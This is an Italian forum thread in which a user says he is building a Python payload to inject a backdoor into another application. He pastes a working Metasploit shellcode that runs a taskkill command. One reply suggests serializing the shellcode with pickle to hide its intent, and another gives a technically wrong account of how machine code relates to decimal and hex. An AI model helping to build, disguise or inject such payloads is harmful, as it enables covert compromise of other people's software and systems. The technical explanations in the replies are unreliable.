Domanda codice

Started by Ananke, June 25, 2012, 03:01:37 PM

Previous topic - Next topic

Ananke

Salve a tutti!
Non so se questa è la sezione giusta o meno, eventualmente invito gli admins a spostare questo post.
Scrivo poiché sto lavorando ad un payload in python. Il progetto prevede che una volta eseguito venga injettato il codice di una backdoor all'interno di un altro applicativo. L'unico modo che ho trovato per farlo è inserire il codice da ingettare in questo formato all'interno del sorgente: x68\xcb\xed\xfc

Se non erro questo codice viene definito hex, mi chiedevo: qualcuno sa come sia possibile trasformare un sorgente python in hex?
Mi smebra che sia possibile altrimenti ottenere da metasploit un payload (dei suoi) sotto forma di codice dopo aver opportunatamente settato i parametri IP, PORT. Sapresete dirmi come si fa?

Grazie in anticipo, ciaoo.

ostendali

bastava domandare a google ed esso te lo dice:
http://code.activestate.com/recipes/496969-convert-string-to-hex/

opure hai descritto male cose esattamente corresti fare, se ci illumini ulteriormente forse ti potremmo essere d'aiuto.

happy hacking!

Ananke

#2
Grazie della rapida risposta, ma mi sembra di capire che questo serva per trasformare in hex dle testo.
Ma se io voglio trasformare un programma scritto in python mantenendone la possibilità di funzionare?
Magari ho capito male e non è possibile farlo.
Ad esmepio uno shellcode di metasploit ha questa faccia:

process_killer_shellcode = \
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" \
"\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" \
"\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" \
"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" \
"\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" \
"\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" \
"\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" \
"\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" \
"\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\x73\x6b" \
"\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00"

P.S. Può essere che sia stato scritto direttamente in questo formato? O che anche mediante una conversione epnsata per normale testo rimanga eseguibile?

SCusate eventuali strafalcioni ma non sono molto esperto

drego85

Normalmente il codice è scritto in decimale e poi convertito in esadecimale, sarà poi l'elaboratore ricevete a interpretarlo ed eseguirlo.

Quindi non dovresti apportare alcuna variazione al tuo codice, ma solo convertirlo!

Andrea
Andrea Draghetti
Personal Blog

break0x90

perdona la risposta a "muso duro" ma forse non hai ben chiaro nemmeno tu cosa vorresti fare e sopratutto che python è un linguaggio interpretato.. con tutto quello che ne consegue.
Cmq potresti provare a serializzare tutto lo shellcode tramite pickle e "nascondere" così le tue intenzioni